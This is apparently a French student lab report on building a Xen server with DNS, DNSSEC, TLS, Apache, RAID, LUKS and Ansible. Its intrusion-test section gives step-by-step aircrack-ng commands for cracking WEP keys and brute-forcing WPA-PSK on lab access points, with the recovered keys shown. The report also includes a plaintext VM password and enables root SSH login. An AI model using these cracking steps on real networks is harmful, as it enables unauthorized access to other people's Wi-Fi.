TP sysres IMA5 2021/2022 G4
Sommaire
Cablage Réseau
Machine Virtuelle
Création de la machine virtuelle
On se connecte d'abord à la machine virtuelle capbreton avec la commande suivante:
--- Volume group --- ssh root@capbreton
Commande pour la création de la machine virtuelle:
root@capbreton:~$ xen-create-image --hostname=Karmeliet --ip=193.48.57.179 --gateway=193.48.57.187 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
On créé 2 LV de 10 Go pour les allouer plus tard mais pour cela nous devons d'abord voir quel volume groupe choisir (on choisit celui qui dispose du plus grand espace).
root@capbreton:~# vgdisplay --- Volume group --- VG Name storage System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 152 VG Access read/write VG Status resizable MAX LV 0 Cur LV 26 Open LV 16 Max PV 0 Cur PV 2 Act PV 2 VG Size <5.46 TiB PE Size 4.00 MiB Total PE 1430526 Alloc PE / Size 50176 / 196.00 GiB Free PE / Size 1380350 / <5.27 TiB VG UUID eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc
root@capbreton:~$ lvcreate -L10G -n Karmeliet1 storage root@capbreton:~$ lvcreate -L10G -n Karmeliet2 storage
Il est nécessaire de les formater au format ext4 :
root@capbreton:~$ mkfs.ext4 /dev/storage/Karmeliet1 root@capbreton:~$ mkfs.ext4 /dev/storage/Karmeliet2
Dans notre fichier /etc/xen/Karmeliet.cfg, on doit indiquer que notre VM doit possèder les volumes logiques que l'on a créé auparavant (Karmeliet1 et Karmeliet2). Il est, également, nécessaire d'indiquer le bridge IMA5sc.
root@capbreton:~$ vim /etc/xen/Karmeliet.cfg #Disk device(s). # root = '/dev/xvda2 ro' disk = [ 'file:/usr/local/xen/domains/Karmeliet/disk.img,xvda2,w', 'file:/usr/local/xen/domains/Karmeliet/swap.img,xvda1,w', 'phy:/dev/storage/Karmeliet1,xvda3,w', 'phy:/dev/storage/Karmeliet2,xvda4,w' ] #Networking # vif = [ 'ip=193.48.57.179 ,mac=00:16:3E:5E:59:17 ,bridge=IMA5sc' ]
On lance la machine virtuelle :
root@capbreton:~$ xl create -c /etc/xen/Karmeliet.cfg
On doit créer xvda3 et xvda4 pour nos répertoires var et home:
root@Karmeliet:~$ mkdir /mnt/xvda3 root@Karmeliet:~$ mkdir /mnt/xvda4 root@Karmeliet:~$ mount /dev/xvda3 /mnt/xvda3 root@Karmeliet:~$ mount /dev/xvda4 /mnt/xvda4
Le répertoire var doit être placé dans le disque xvda4 :
root@Karmeliet:~$ mv /var/* /mnt/xvda4
Dans le fichier /etc/fstab, il est nécesaire d'ajouter les lignes ci-dessous pour pouvoir monter les disques par la suite:
root@Karmeliet:~$ /dev/xvda3 /home ext4 defaults 0 2 root@Karmeliet:~$ /dev/xvda4 /var ext4 defaults 0 2
La commande suivant permet de monter les disques :
root@Karmeliet:~$ mount -a
Pour vérifier que le montage s'est faite correctement, on peut voir avec la commande lsblk si les partitions sont bien visibles :
root@Karmeliet:~$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT xvda1 202:1 0 512M 0 disk [SWAP] xvda2 202:2 0 4G 0 disk / xvda3 202:3 0 10G 0 disk /home xvda4 202:4 0 10G 0 disk /var
Pour accéder à notre VM :
root@capbreton:~# xen console Karmeliet
Services Internet
Connexion ssh
Pour se connecter en ssh, nous allons dans le fichier se trouvant au chemin :
/etc/ssh/sshd_config
On décommente Port et PermitRootLogin et on leur donne la valeur :
Port 22222 PermitRootLogin Yes
On a plus qu'à se connecter via ssh :
ssh root@193.48.57.179 -p 22222
DNS
On réserve un nom de domaine sur ghandi.net, en l'occurrence le notre sera :
karmeliet.site
On rentre notre adresse IPv4 dans le "Glue records"
193.48.57.179
On ajoute nos DNS primaire et secondaire pour obtenir un nom de serveur
ns1.karmeliet.site (primaire) ns6.gandi.net (secondaire)
Configuration de bind9
On installe les paquets
apt install bind9
On change le fichier /etc/resolv.conf
nameserver 127.0.0.1
On va configurer notre DNS primaire dans le fichier de configuration /etc/bind/named.conf.local De plus, on autorise le transfert d'information avec le DNS Secondaire (217.70.177.40)
zone "karmeliet.site" { type master; file "/etc/bind/db.karmeliet.site"; allow-transfer { 217.70.177.40; }; };
On créé un fichier db.karmeliet.site ayant le même template que db.local
; ; BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ns1.karmeliet.site. postmaster.karmeliet.site( 4 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.karmeliet.site. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.179
Sécurisation de serveur DNS par DNSSEC
On ajoute dans le fichier named.conf.options
dnssec-enable yes;
On va dans le dossier bind
/etc/bind
On crée le dossier karmeliet.site.dnssec
mkdir karmeliet.site.dnssec
On crée la clef asymétrique de signature de clefs de zone
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE karmeliet.site
On crée la clef asymétrique de la zone pour signer les enregistrements
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE karmeliet.site
On renomme les deux paires de clefs avec le nom de notre zone en ajoutant -ksk et -zsk pour les clefs correspondantes.
On inclue les clefs publiques dans votre fichier de zone db.karmeliet.site et on incrémente le numéro de version de la zone
$include /etc/bind/karmeliet.site.dnssec/karmeliet.site-ksk.key $include /etc/bind/karmeliet.site.dnssec/karmeliet.site-zsk.key
On signe les enregistrements de la zone
dnssec-signzone -o karmeliet.site -k karmeliet.site-ksk ../db.karmeliet.site karmeliet.site-zsk
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe db.karmeliet.site.signed;
Il ne reste plus qu’à communiquer la partie publique de la KSK dans gandi.net
Certificat
Dans Gandi.net, on achète notre certificat en allant sur
SSL certificate
On nous demande une "Certificate Request" CSR que l'on a grâce à la commande
openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr
On remplit les différentes informations que l'on nous demande et on récupère notre csr dans server.csr à la fin de la commande.
On va sur la page de notre certificat pour gandi et on copie colle comme ceci dans notre fichier db.karmeliet.site pour que notre certficat soit valide
; ; BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ns1.karmeliet.site. postmaster.karmeliet.site( 4 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.karmeliet.site. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.179 www IN A 193.48.57.179 _D83578361950694C7CBA2CF57DDA0CE7.karmeliet.site. 10800 IN CNAME BEF099045291643A940FA49D11E8FB10.4CCF28E6A180333498A3F008A8B6CB32.0e21313c9c6df2403142.sectigo.com.
Serveur apache
On installe un serveur apache pour vérifier que tout fonctionne
apt install apache2
Pour installer apache correctement on a suivi les instructions sur ce site
https://ubuntu.com/tutorials/install-and-configure-apache#1-overview
Puis on a modifié notre fichier de configuration apache se trouvant dans /etc/apache2/sites-available pour y mettre notre certificat :
<VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www/karmeliet.site ServerName karmeliet.site ServerAlias www.karmeliet.site Redirect permanent / https://karmeliet.site/ </VirtualHost> <VirtualHost *:443> ServerAdmin webmaster@localhost DocumentRoot /var/www/karmeliet.site ServerName karmeliet.site ServerAlias www.karmeliet.site SSLEngine on SSLCertificateFile /root/karmeliet.site.crt SSLCertificateKeyFile /root/karmeliet.site.key ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>
Tests d'intrusions
5.2 Cassage de clef WEP d’un point d’accès WiFi
Cette commande sert à récupérer le nom de l'interface réseau:
airmon-ng
Notre interface réseau s'appelle "wlan0mon" (renommé automatiquement parce que celui de base était trop long)
On démarre l'interface sur le channel 3 :
airmon-ng start wlan0mon 3
On récupère le BSSID du point d'accès sur lequel on veut récupérer la clé WEP
airodump-ng wlan0mon
On réalise un test d'injection sur cracotte10
aireplay-ng -9 -e cracotte10 -a 04:DA:D2:9C:50:59 wlan0mon
On récupère les VI générés par le point d'accès pour les stocker dans output :
airodump-ng -c 3 --bssid 04:DA:D2:9C:50:59 -w output wlan0mon
On effectue de fausses authentifications
aireplay-ng -1 0 -e cracotte10 -a 04:DA:D2:9C:50:59 -h 40:A5:EF:D2:11:67 wlan0mon
La clef WEP est alors décriptable :
aircrack-ng -b 04:DA:D2:9C:50:59 output*.cap
Le résultat obtenu est le suivant :
KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44 ] Decrypted correctly: 100%
5.3 Cassage de mot de passe WPA-PSK par force brute
Comme pour le cassage de la clé WEP, on utilise aircrack-ng:
airmon-ng
On récupère le nom de notre interface qui est wlan0mon puis on le lance en mode moniteur sur le channel 7:
airmon-ng start wlan0mon 4
Il nous faut un point d'accès pour pouvoir casser une clé WPA en récupérant son BSSID:
airodump-ng wlan0mon
On choisit kracotte11 avec un BSSID 44:AD:D9:5F:87:0A, on récupère ce qu'on appelle "handshake" et on le sauvegarde dans un fichier sauv:
airodump-ng -c 4 --bssid 44:AD:D9:5F:87:0A -w sauv wlan0mon
On peut commencer le crackage:
aircrack-ng sauv-01.cap -w dico.txt
On obtiens après quelques heures le résultat :
KEY FOUND! [ 59911999 ]
Master Key : EF A3 6F 02 E7 F1 DF 01 62 03 92 87 81 ED 99 6D 25 28 7D D6 54 FC 29 41 5D BD E9 02 26 E7 F0 58
Réalisation
Sécurisation de données
Nous créons trois partitions LVM de 1Go dans le groupe de volume storage avec comme noms celui de notre serveur
lvcreate -L1G -n karmeliet.site-raid1 storage lvcreate -L1G -n karmeliet.site-raid2 storage lvcreate -L1G -n karmeliet.site-raid3 storage
Nous ajoutons les partitions à notre fichier de configuration qui se trouve dans /etc/xen/Karmeliet.cfg
'phy:/dev/storage/karmeliet.site-raid1,xvdb1,w', 'phy:/dev/storage/karmeliet.site-raid2,xvdb2,w', 'phy:/dev/storage/karmeliet.site-raid3,xvdb3,w'
On éteint puis relance la VM et on crée la partition Raid
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3
On formate la partition en ext4
mkfs.ext4 /dev/md0
On ajoute au fichier /etc/fstab la partition formaté /dev/md0 pour qu'il soit monté durant le démarrage de la VM
/dev/md0 /media/raid ext4 defaults 0 1 mount -a
Chiffrement de données
On installe avec apt cryptsetup
apt install lvm2 cryptsetup
On regarde où est notre clé usb grâce à la commande lsblk, dans notre cas elle est dans sdb
On la formatte
mkfs.ext4 /dev/sdb
On initialise notre clé USB avec l'option luksFormat et on choisis un mot de passe
cryptsetup luksFormat /dev/sdb
On ouvre notre partition chiffrée avec luksOpen (le nom du volume sera karmeliet_crypted) et on la formatte :
cryptsetup luksOpen /dev/sdc karmeliet_crypted mkfs.ext4 /dev/mapper/karmeliet_crypted
On monte la partition
mkdir /mnt/karmelietCrypte mount -t ext4 /dev/mapper/karmeliet_crypted /mnt/karmelietCrypte/
On y ajoute un fichier texte hello dans lequel on écrit "cc" puis on démonte la clé et on ferme le volume chiffré
umount /mnt/karmelietCrypte cryptsetup luksClose karmeliet_crypted
On a plus qu'a aller tester notre clé USB en la montant sur l'ordinateur d'un autre binôme et cela nous demande bien de rentrer un mot de passe notre clé est chiffré.
Ferme de serveurs Web
Ansible
Se connecter à notre VM pra-04
xen console /etc/xen/pra-04.cfg
On modifie le fichier /etc/network/interfaces
iface eth0 inet static address 172.26.145.104 gateway 172.26.145.254 netmask 255.255.255.0
On ping sur notre zabeth pour savoir s'il communique bien ensemble
ping 172.26.145.58
On clone le git sur la zabeth puis on travaille dans le dossier
git clone https://github.com/thomas-maurice/polytech-asr-lab.git
On génère sur la zabeth une clé ssh
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "selim.bensalem@polytech-lille.net" -P
Sur la zabeth, on rajoute au fichier authorized_keys la clé ssh précédemment créée et sur la VM, on crée un fichier authorized_keys avec la même clé
On ajoute un role ssh_key
- name: "Deploy ssh_keys" template: src: authorized_keys.j2 dest: /root/.ssh/authorized_keys owner: root group: root mode: '0600
On crée une template pour copier tous les clés dans authorized_keys de la VM
% for ssh_key in ssh_keys%} {{ssh_key["key"]}} {% endfor %}
On lance ansible
ansible-playbook -v -i inventory polytech.yaml
Consult
on installe consult et un container docker
--- - name: "Create group" group: name: consul gid: 666 - name: "Create user" user: name: consul group: consul uid: 666 - name: "Create /etc/consul" file: path: /etc/consul state: directory owner: consul group: consul - name: "Create /var/lib/consul" file: path: /var/lib/consul state: directory owner: consul group: consul - name: "Client json" copy: src: consul.json dest: /etc/consul/consul.json owner: consul group: consul - name: "Start consul with container" docker_container: name: dockerConsul image: bitnami/consul volumes: - /etc/consul network_mode: host user: consul groups: - consul